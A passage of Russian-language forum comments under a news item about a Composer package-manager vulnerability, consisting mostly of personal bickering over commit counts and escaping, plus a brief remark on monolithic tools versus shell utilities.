	Ответить \| Правка \| К родителю #26 \| Наверх \| Cообщить модератору


	74. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от Аноним (74), 05-Май-21, 08:36
	За деньги я и сама могу.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	75. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от Аноним (74), 05-Май-21, 09:18
	То есть вы предлагаете оплатить исправление уже исправленой уязвимости, оплатить неизвестно кому, кто с 99.9% вероятностью ничего сложного на php не писал, при этом с бесконечными сроками? И вообще, сколько комитов вы уже сделали в composer? Покажите их.
	Ответить \| Правка \| К родителю #36 \| Наверх \| Cообщить модератору


	76. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–1 +/–
	Сообщение от Dzen Python (ok), 06-Май-21, 14:38
	> Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь. > Кудох-тох-тох, эти анонимные эксперты с опеннета Ты так и не понял, к чему это было написано, горе-разраб... > И вообще, сколько комитов вы уже сделали в composer? Покажите их. Разраб композера, залогинься. Все равно у меня длиннее - не в коммитах, а в нормальных сантиметрах.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	77. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от Аноним (74), 07-Май-21, 09:29
	Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми собрался меняться.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	78. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от Dzen Python (ok), 07-Май-21, 21:27
	> Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми > собрался меняться. Надо понимать, что ты не оставляешь надежды померяться коммитами?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	42. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–1 +/–
	Сообщение от Онаним (?), 03-Май-21, 13:49
	Анонимные эксперты их собственно и пишут, просто в такие вот сводки обычно не попадают, потому что и область собственно распространения поуже "широкой макакопублики", и маразмов поменьше.
	Ответить \| Правка \| К родителю #26 \| Наверх \| Cообщить модератору


	21. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–2 +/–
	Сообщение от Dzen Python (ok), 03-Май-21, 11:12
	Альтернативы? - Монолитный блоатварь, где все эти утилиты слеплены воедино? И страдать, если встроенный в код аналог grep'а нельзя заменить на ZZZgrep, умеющий фичу YYY, облегчающий в сценарии XXX работу, убирая много строк потенциально опасного шеллкода? - RPC, который ломается точно так же?
	Ответить \| Правка \| К родителю #13 \| Наверх \| Cообщить модератору